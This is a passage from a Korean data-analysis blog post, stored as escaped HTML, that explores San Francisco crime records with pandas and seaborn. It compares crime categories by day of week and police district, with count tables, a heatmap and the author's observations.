              order=non_outliers[&quot;Category&quot;].value_counts().index[:20])&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x123a44358&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_38_1.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzZlq6/btqzOdZ9gO8/3RnM4QvNZ422LgRsi5YWt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzZlq6/btqzOdZ9gO8/3RnM4QvNZ422LgRsi5YWt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzZlq6/btqzOdZ9gO8/3RnM4QvNZ422LgRsi5YWt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbzZlq6%2FbtqzOdZ9gO8%2F3RnM4QvNZ422LgRsi5YWt1%2Fimg.png&quot; data-filename=&quot;output_38_1.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3&gt;DayOfWeek와 Category관계 확인&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;DayOfWeek 시각화에서 큰 차이를 볼 수 없어서 Category 컬럼도 같이 시각화&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;1. 첫번째 방법&lt;/h4&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;# 다수개의 차트를 같이 표현하는 방법
figure, axes = plt.subplots(nrows=10, ncols=4)

# 각 차트의 사이즈 지정
figure.set_size_inches(30, 48)

# seaborn의 경우 자동정렬이 되지 않으므로, 명시적으로 정렬 순서를 정해줌
dwofweek_list = [&quot;Monday&quot;, &quot;Tuesday&quot;, &quot;Wednesday&quot;, 
                 &quot;Thursday&quot;, &quot;Friday&quot;, &quot;Saturday&quot;, &quot;Sunday&quot;]

category_list = non_outliers[&quot;Category&quot;].value_counts().index

# 반복문 수행
for row in range(10):
    for col in range(4):
        index = row * 4 + col #category의 개수가 39개

        if index &amp;lt; len(category_list):
            ax = axes[row][col]
            category = category_list[index]
            #print(row, col, index, category)

            target = non_outliers[non_outliers[&quot;Category&quot;] == category]
            sns.countplot(x=&quot;DayOfWeek&quot;, order=dwofweek_list, data=target, ax=ax)
            ax.set(xlabel = category)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_41_0.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/coZgg6/btqzOXhJ7ht/IH3FTJGHhkH8sdKFxAP7hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/coZgg6/btqzOXhJ7ht/IH3FTJGHhkH8sdKFxAP7hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/coZgg6/btqzOXhJ7ht/IH3FTJGHhkH8sdKFxAP7hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcoZgg6%2FbtqzOXhJ7ht%2FIH3FTJGHhkH8sdKFxAP7hk%2Fimg.png&quot; data-filename=&quot;output_41_0.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;code&gt;feadback&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;몇몇 특정 범죄에 한해 주중이나 주말일 때 범죄 발생에 차이가 있다.
&lt;ul&gt;
&lt;li&gt;주말에 많이 발생: 특히 음주운전(DRIVING UNDER THE INFLUENCE), 과음(DRUNKENNESS), 무단침입(TREA)&lt;/li&gt;
&lt;li&gt;주중에 많이 발생: 마약(DRUG/NARCOTIC), 절도(BURGLARY), 위조(FORGERY/COUNTERFEITING)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;주말의 경우도 금,토 또는 토,일에 따라 범죄 발생률이 다르다.&lt;/li&gt;
&lt;li&gt;요일(DayOfWeek)가 범죄를 예측하는데 중요한 영향을 끼친다는 것을 알 수 있으므로 예측 모델의 성능을 개선하는데 효과가 있을 것 같다.&lt;/li&gt;
&lt;li&gt;범죄마다 중요한 요일의 타입이 다르며, 대부분 주중과 주말로 나뉘며, 주말도 금,토 또는 토,일에 따라 다르다.&lt;/li&gt;
&lt;li&gt;예외적으로 특정 요일에만 발생하는 범죄가 있다.
&lt;ul&gt;
&lt;li&gt;무단침입(TREA): 토요일&lt;/li&gt;
&lt;li&gt;실종(MISSING PERSON): 금요일&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;2. 두번째 방법&lt;/h4&gt;
&lt;pre class=&quot;prolog&quot;&gt;&lt;code&gt;groups = non_outliers.groupby(['Category', 'DayOfWeek'])['DayOfWeek'].count()
groups&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;mathematica&quot;&gt;&lt;code&gt;Category     DayOfWeek
ARSON        Friday        220
             Monday        228
             Saturday      220
             Sunday        211
             Thursday      199
                          ... 
WEAPON LAWS  Saturday     1232
             Sunday       1128
             Thursday     1282
             Tuesday      1176
             Wednesday    1252
Name: DayOfWeek, Length: 271, dtype: int64&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;# Group으로 묶여진 데이터를 matrix형태로 전환
dw_category = groups.unstack(fill_value=0.0)
dw_category&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;table class=&quot;dataframe&quot; border=&quot;1&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;text-align: right;&quot;&gt;
&lt;th&gt;DayOfWeek&lt;/th&gt;
&lt;th&gt;Friday&lt;/th&gt;
&lt;th&gt;Monday&lt;/th&gt;
&lt;th&gt;Saturday&lt;/th&gt;
&lt;th&gt;Sunday&lt;/th&gt;
&lt;th&gt;Thursday&lt;/th&gt;
&lt;th&gt;Tuesday&lt;/th&gt;
&lt;th&gt;Wednesday&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;th&gt;&amp;nbsp;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ARSON&lt;/td&gt;
&lt;td&gt;220.0&lt;/td&gt;
&lt;td&gt;228.0&lt;/td&gt;
&lt;td&gt;220.0&lt;/td&gt;
&lt;td&gt;211.0&lt;/td&gt;
&lt;td&gt;199.0&lt;/td&gt;
&lt;td&gt;235.0&lt;/td&gt;
&lt;td&gt;200.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ASSAULT&lt;/td&gt;
&lt;td&gt;11157.0&lt;/td&gt;
&lt;td&gt;10559.0&lt;/td&gt;
&lt;td&gt;11995.0&lt;/td&gt;
&lt;td&gt;12082.0&lt;/td&gt;
&lt;td&gt;10246.0&lt;/td&gt;
&lt;td&gt;10280.0&lt;/td&gt;
&lt;td&gt;10553.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BAD CHECKS&lt;/td&gt;
&lt;td&gt;62.0&lt;/td&gt;
&lt;td&gt;66.0&lt;/td&gt;
&lt;td&gt;45.0&lt;/td&gt;
&lt;td&gt;20.0&lt;/td&gt;
&lt;td&gt;66.0&lt;/td&gt;
&lt;td&gt;76.0&lt;/td&gt;
&lt;td&gt;71.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BRIBERY&lt;/td&gt;
&lt;td&gt;49.0&lt;/td&gt;
&lt;td&gt;41.0&lt;/td&gt;
&lt;td&gt;42.0&lt;/td&gt;
&lt;td&gt;41.0&lt;/td&gt;
&lt;td&gt;39.0&lt;/td&gt;
&lt;td&gt;37.0&lt;/td&gt;
&lt;td&gt;40.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BURGLARY&lt;/td&gt;
&lt;td&gt;6326.0&lt;/td&gt;
&lt;td&gt;5262.0&lt;/td&gt;
&lt;td&gt;4754.0&lt;/td&gt;
&lt;td&gt;4231.0&lt;/td&gt;
&lt;td&gt;5350.0&lt;/td&gt;
&lt;td&gt;5374.0&lt;/td&gt;
&lt;td&gt;5457.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DISORDERLY CONDUCT&lt;/td&gt;
&lt;td&gt;541.0&lt;/td&gt;
&lt;td&gt;608.0&lt;/td&gt;
&lt;td&gt;624.0&lt;/td&gt;
&lt;td&gt;586.0&lt;/td&gt;
&lt;td&gt;643.0&lt;/td&gt;
&lt;td&gt;657.0&lt;/td&gt;
&lt;td&gt;659.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DRIVING UNDER THE INFLUENCE&lt;/td&gt;
&lt;td&gt;352.0&lt;/td&gt;
&lt;td&gt;263.0&lt;/td&gt;
&lt;td&gt;457.0&lt;/td&gt;
&lt;td&gt;442.0&lt;/td&gt;
&lt;td&gt;282.0&lt;/td&gt;
&lt;td&gt;251.0&lt;/td&gt;
&lt;td&gt;221.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DRUG/NARCOTIC&lt;/td&gt;
&lt;td&gt;7420.0&lt;/td&gt;
&lt;td&gt;7823.0&lt;/td&gt;
&lt;td&gt;6390.0&lt;/td&gt;
&lt;td&gt;6143.0&lt;/td&gt;
&lt;td&gt;8454.0&lt;/td&gt;
&lt;td&gt;8474.0&lt;/td&gt;
&lt;td&gt;9267.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DRUNKENNESS&lt;/td&gt;
&lt;td&gt;622.0&lt;/td&gt;
&lt;td&gt;513.0&lt;/td&gt;
&lt;td&gt;833.0&lt;/td&gt;
&lt;td&gt;813.0&lt;/td&gt;
&lt;td&gt;496.0&lt;/td&gt;
&lt;td&gt;461.0&lt;/td&gt;
&lt;td&gt;542.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EMBEZZLEMENT&lt;/td&gt;
&lt;td&gt;211.0&lt;/td&gt;
&lt;td&gt;222.0&lt;/td&gt;
&lt;td&gt;137.0&lt;/td&gt;
&lt;td&gt;108.0&lt;/td&gt;
&lt;td&gt;165.0&lt;/td&gt;
&lt;td&gt;156.0&lt;/td&gt;
&lt;td&gt;167.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EXTORTION&lt;/td&gt;
&lt;td&gt;35.0&lt;/td&gt;
&lt;td&gt;30.0&lt;/td&gt;
&lt;td&gt;32.0&lt;/td&gt;
&lt;td&gt;39.0&lt;/td&gt;
&lt;td&gt;40.0&lt;/td&gt;
&lt;td&gt;39.0&lt;/td&gt;
&lt;td&gt;41.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FAMILY OFFENSES&lt;/td&gt;
&lt;td&gt;82.0&lt;/td&gt;
&lt;td&gt;69.0&lt;/td&gt;
&lt;td&gt;59.0&lt;/td&gt;
&lt;td&gt;54.0&lt;/td&gt;
&lt;td&gt;63.0&lt;/td&gt;
&lt;td&gt;85.0&lt;/td&gt;
&lt;td&gt;79.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FORGERY/COUNTERFEITING&lt;/td&gt;
&lt;td&gt;1757.0&lt;/td&gt;
&lt;td&gt;1704.0&lt;/td&gt;
&lt;td&gt;1178.0&lt;/td&gt;
&lt;td&gt;901.0&lt;/td&gt;
&lt;td&gt;1610.0&lt;/td&gt;
&lt;td&gt;1752.0&lt;/td&gt;
&lt;td&gt;1707.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FRAUD&lt;/td&gt;
&lt;td&gt;2641.0&lt;/td&gt;
&lt;td&gt;2533.0&lt;/td&gt;
&lt;td&gt;2256.0&lt;/td&gt;
&lt;td&gt;1874.0&lt;/td&gt;
&lt;td&gt;2351.0&lt;/td&gt;
&lt;td&gt;2506.0&lt;/td&gt;
&lt;td&gt;2518.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GAMBLING&lt;/td&gt;
&lt;td&gt;35.0&lt;/td&gt;
&lt;td&gt;16.0&lt;/td&gt;
&lt;td&gt;21.0&lt;/td&gt;
&lt;td&gt;12.0&lt;/td&gt;
&lt;td&gt;20.0&lt;/td&gt;
&lt;td&gt;12.0&lt;/td&gt;
&lt;td&gt;30.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;KIDNAPPING&lt;/td&gt;
&lt;td&gt;385.0&lt;/td&gt;
&lt;td&gt;340.0&lt;/td&gt;
&lt;td&gt;355.0&lt;/td&gt;
&lt;td&gt;374.0&lt;/td&gt;
&lt;td&gt;289.0&lt;/td&gt;
&lt;td&gt;306.0&lt;/td&gt;
&lt;td&gt;292.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LARCENY/THEFT&lt;/td&gt;
&lt;td&gt;27102.0&lt;/td&gt;
&lt;td&gt;23568.0&lt;/td&gt;
&lt;td&gt;27214.0&lt;/td&gt;
&lt;td&gt;24147.0&lt;/td&gt;
&lt;td&gt;24415.0&lt;/td&gt;
&lt;td&gt;23955.0&lt;/td&gt;
&lt;td&gt;24484.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LIQUOR LAWS&lt;/td&gt;
&lt;td&gt;291.0&lt;/td&gt;
&lt;td&gt;188.0&lt;/td&gt;
&lt;td&gt;297.0&lt;/td&gt;
&lt;td&gt;222.0&lt;/td&gt;
&lt;td&gt;248.0&lt;/td&gt;
&lt;td&gt;323.0&lt;/td&gt;
&lt;td&gt;334.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LOITERING&lt;/td&gt;
&lt;td&gt;139.0&lt;/td&gt;
&lt;td&gt;193.0&lt;/td&gt;
&lt;td&gt;140.0&lt;/td&gt;
&lt;td&gt;155.0&lt;/td&gt;
&lt;td&gt;186.0&lt;/td&gt;
&lt;td&gt;252.0&lt;/td&gt;
&lt;td&gt;160.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MISSING PERSON&lt;/td&gt;
&lt;td&gt;4663.0&lt;/td&gt;
&lt;td&gt;3592.0&lt;/td&gt;
&lt;td&gt;3752.0&lt;/td&gt;
&lt;td&gt;3061.0&lt;/td&gt;
&lt;td&gt;3680.0&lt;/td&gt;
&lt;td&gt;3655.0&lt;/td&gt;
&lt;td&gt;3586.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NON-CRIMINAL&lt;/td&gt;
&lt;td&gt;13983.0&lt;/td&gt;
&lt;td&gt;12854.0&lt;/td&gt;
&lt;td&gt;14007.0&lt;/td&gt;
&lt;td&gt;12972.0&lt;/td&gt;
&lt;td&gt;12818.0&lt;/td&gt;
&lt;td&gt;12738.0&lt;/td&gt;
&lt;td&gt;12928.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OTHER OFFENSES&lt;/td&gt;
&lt;td&gt;18587.0&lt;/td&gt;
&lt;td&gt;17783.0&lt;/td&gt;
&lt;td&gt;17128.0&lt;/td&gt;
&lt;td&gt;15456.0&lt;/td&gt;
&lt;td&gt;18459.0&lt;/td&gt;
&lt;td&gt;18806.0&lt;/td&gt;
&lt;td&gt;19946.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PORNOGRAPHY/OBSCENE MAT&lt;/td&gt;
&lt;td&gt;4.0&lt;/td&gt;
&lt;td&gt;3.0&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;td&gt;3.0&lt;/td&gt;
&lt;td&gt;5.0&lt;/td&gt;
&lt;td&gt;3.0&lt;/td&gt;
&lt;td&gt;3.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PROSTITUTION&lt;/td&gt;
&lt;td&gt;1158.0&lt;/td&gt;
&lt;td&gt;409.0&lt;/td&gt;
&lt;td&gt;850.0&lt;/td&gt;
&lt;td&gt;620.0&lt;/td&gt;
&lt;td&gt;1547.0&lt;/td&gt;
&lt;td&gt;1421.0&lt;/td&gt;
&lt;td&gt;1479.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RECOVERED VEHICLE&lt;/td&gt;
&lt;td&gt;494.0&lt;/td&gt;
&lt;td&gt;530.0&lt;/td&gt;
&lt;td&gt;343.0&lt;/td&gt;
&lt;td&gt;307.0&lt;/td&gt;
&lt;td&gt;432.0&lt;/td&gt;
&lt;td&gt;517.0&lt;/td&gt;
&lt;td&gt;515.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ROBBERY&lt;/td&gt;
&lt;td&gt;3384.0&lt;/td&gt;
&lt;td&gt;3193.0&lt;/td&gt;
&lt;td&gt;3428.0&lt;/td&gt;
&lt;td&gt;3284.0&lt;/td&gt;
&lt;td&gt;3216.0&lt;/td&gt;
&lt;td&gt;3221.0&lt;/td&gt;
&lt;td&gt;3273.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RUNAWAY&lt;/td&gt;
&lt;td&gt;344.0&lt;/td&gt;
&lt;td&gt;280.0&lt;/td&gt;
&lt;td&gt;268.0&lt;/td&gt;
&lt;td&gt;205.0&lt;/td&gt;
&lt;td&gt;305.0&lt;/td&gt;
&lt;td&gt;275.0&lt;/td&gt;
&lt;td&gt;269.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SECONDARY CODES&lt;/td&gt;
&lt;td&gt;1392.0&lt;/td&gt;
&lt;td&gt;1483.0&lt;/td&gt;
&lt;td&gt;1462.0&lt;/td&gt;
&lt;td&gt;1543.0&lt;/td&gt;
&lt;td&gt;1389.0&lt;/td&gt;
&lt;td&gt;1343.0&lt;/td&gt;
&lt;td&gt;1373.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SEX OFFENSES FORCIBLE&lt;/td&gt;
&lt;td&gt;620.0&lt;/td&gt;
&lt;td&gt;607.0&lt;/td&gt;
&lt;td&gt;662.0&lt;/td&gt;
&lt;td&gt;690.0&lt;/td&gt;
&lt;td&gt;585.0&lt;/td&gt;
&lt;td&gt;597.0&lt;/td&gt;
&lt;td&gt;626.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SEX OFFENSES NON FORCIBLE&lt;/td&gt;
&lt;td&gt;28.0&lt;/td&gt;
&lt;td&gt;23.0&lt;/td&gt;
&lt;td&gt;21.0&lt;/td&gt;
&lt;td&gt;16.0&lt;/td&gt;
&lt;td&gt;15.0&lt;/td&gt;
&lt;td&gt;23.0&lt;/td&gt;
&lt;td&gt;22.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;STOLEN PROPERTY&lt;/td&gt;
&lt;td&gt;647.0&lt;/td&gt;
&lt;td&gt;636.0&lt;/td&gt;
&lt;td&gt;581.0&lt;/td&gt;
&lt;td&gt;583.0&lt;/td&gt;
&lt;td&gt;679.0&lt;/td&gt;
&lt;td&gt;713.0&lt;/td&gt;
&lt;td&gt;700.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SUICIDE&lt;/td&gt;
&lt;td&gt;72.0&lt;/td&gt;
&lt;td&gt;75.0&lt;/td&gt;
&lt;td&gt;73.0&lt;/td&gt;
&lt;td&gt;67.0&lt;/td&gt;
&lt;td&gt;89.0&lt;/td&gt;
&lt;td&gt;66.0&lt;/td&gt;
&lt;td&gt;66.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SUSPICIOUS OCC&lt;/td&gt;
&lt;td&gt;4923.0&lt;/td&gt;
&lt;td&gt;4447.0&lt;/td&gt;
&lt;td&gt;4155.0&lt;/td&gt;
&lt;td&gt;4010.0&lt;/td&gt;
&lt;td&gt;4510.0&lt;/td&gt;
&lt;td&gt;4516.0&lt;/td&gt;
&lt;td&gt;4851.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TREA&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;td&gt;2.0&lt;/td&gt;
&lt;td&gt;0.0&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;td&gt;1.0&lt;/td&gt;
&lt;td&gt;0.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TRESPASS&lt;/td&gt;
&lt;td&gt;1064.0&lt;/td&gt;
&lt;td&gt;1080.0&lt;/td&gt;
&lt;td&gt;983.0&lt;/td&gt;
&lt;td&gt;915.0&lt;/td&gt;
&lt;td&gt;1047.0&lt;/td&gt;
&lt;td&gt;1114.0&lt;/td&gt;
&lt;td&gt;1122.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VANDALISM&lt;/td&gt;
&lt;td&gt;7092.0&lt;/td&gt;
&lt;td&gt;5945.0&lt;/td&gt;
&lt;td&gt;7326.0&lt;/td&gt;
&lt;td&gt;6602.0&lt;/td&gt;
&lt;td&gt;5980.0&lt;/td&gt;
&lt;td&gt;5852.0&lt;/td&gt;
&lt;td&gt;5927.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;VEHICLE THEFT&lt;/td&gt;
&lt;td&gt;8612.0&lt;/td&gt;
&lt;td&gt;7412.0&lt;/td&gt;
&lt;td&gt;8117.0&lt;/td&gt;
&lt;td&gt;7504.0&lt;/td&gt;
&lt;td&gt;7454.0&lt;/td&gt;
&lt;td&gt;7261.0&lt;/td&gt;
&lt;td&gt;7412.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WARRANTS&lt;/td&gt;
&lt;td&gt;5926.0&lt;/td&gt;
&lt;td&gt;5811.0&lt;/td&gt;
&lt;td&gt;5364.0&lt;/td&gt;
&lt;td&gt;5280.0&lt;/td&gt;
&lt;td&gt;6372.0&lt;/td&gt;
&lt;td&gt;6425.0&lt;/td&gt;
&lt;td&gt;7028.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WEAPON LAWS&lt;/td&gt;
&lt;td&gt;1302.0&lt;/td&gt;
&lt;td&gt;1183.0&lt;/td&gt;
&lt;td&gt;1232.0&lt;/td&gt;
&lt;td&gt;1128.0&lt;/td&gt;
&lt;td&gt;1282.0&lt;/td&gt;
&lt;td&gt;1176.0&lt;/td&gt;
&lt;td&gt;1252.0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;&lt;b&gt;시각화&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;fg, ax = plt.subplots(figsize=(10, 10))
sns.heatmap(dw_category, linewidths=.5, ax=ax)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x124bf4240&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_47_1.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tyYxQ/btqzOMU3ps8/hmsby6qVo6U4cR8RPSLIv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tyYxQ/btqzOMU3ps8/hmsby6qVo6U4cR8RPSLIv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tyYxQ/btqzOMU3ps8/hmsby6qVo6U4cR8RPSLIv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtyYxQ%2FbtqzOMU3ps8%2Fhmsby6qVo6U4cR8RPSLIv0%2Fimg.png&quot; data-filename=&quot;output_47_1.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;가장 많은 수의 범죄인 LARCENY/THREFT가 Saturday, Friday순으로 높음&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;dw_category.loc['LARCENY/THEFT'].sort_values(ascending=False)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;dns&quot;&gt;&lt;code&gt;DayOfWeek
Saturday     27214.0
Friday       27102.0
Wednesday    24484.0
Thursday     24415.0
Sunday       24147.0
Tuesday      23955.0
Monday       23568.0
Name: LARCENY/THEFT, dtype: float64&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;PdDistrict Column&lt;/h3&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;non_outliers[&quot;PdDistrict&quot;].unique()&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;delphi&quot;&gt;&lt;code&gt;array(['NORTHERN', 'PARK', 'INGLESIDE', 'BAYVIEW', 'RICHMOND', 'CENTRAL',
       'TARAVAL', 'TENDERLOIN', 'MISSION', 'SOUTHERN'], dtype=object)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;ceylon&quot;&gt;&lt;code&gt;non_outliers[&quot;PdDistrict&quot;].value_counts()&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;elm&quot;&gt;&lt;code&gt;SOUTHERN      157174
MISSION       119907
NORTHERN      105284
BAYVIEW        89422
CENTRAL        85455
TENDERLOIN     81794
INGLESIDE      78841
TARAVAL        65592
PARK           49311
RICHMOND       45202
Name: PdDistrict, dtype: int64&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;b&gt;시각화&lt;/b&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;범죄의 관할서(PdDistrict)는 SOUTHERN, MISSION, MORTHERN순으로 높음&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;sns.countplot(data=non_outliers, y=&quot;PdDistrict&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;&amp;lt;matplotlib.axes._subplots.AxesSubplot at 0x11ee6bd68&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;output_54_1.png&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvW1s3/btqzOdMEHkM/MoGal38cwpOmHx0dNBXka1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvW1s3/btqzOdMEHkM/MoGal38cwpOmHx0dNBXka1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvW1s3/btqzOdMEHkM/MoGal38cwpOmHx0dNBXka1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvW1s3%2FbtqzOdMEHkM%2FMoGal38cwpOmHx0dNBXka1%2Fimg.png&quot; data-filename=&quot;output_54_1.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PdDistrict와 X, Y 좌표의 위치를 시각화
&lt;ul&gt;
&lt;li&gt;SOUTHERN, MISSION, MORTHERN의 위치가 몰려있음을 알 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;nix&quot;&gt;&lt;code&gt;fg2, ax2 = plt.subplots(figsize=(10,10))
sns.scatterplot(x=&quot;X&quot;, y=&quot;Y&quot;, hue=&quot;PdDistrict&quot;, 
                data=non_outliers, ax=ax2)&lt;/code&gt;&lt;/pre&gt;
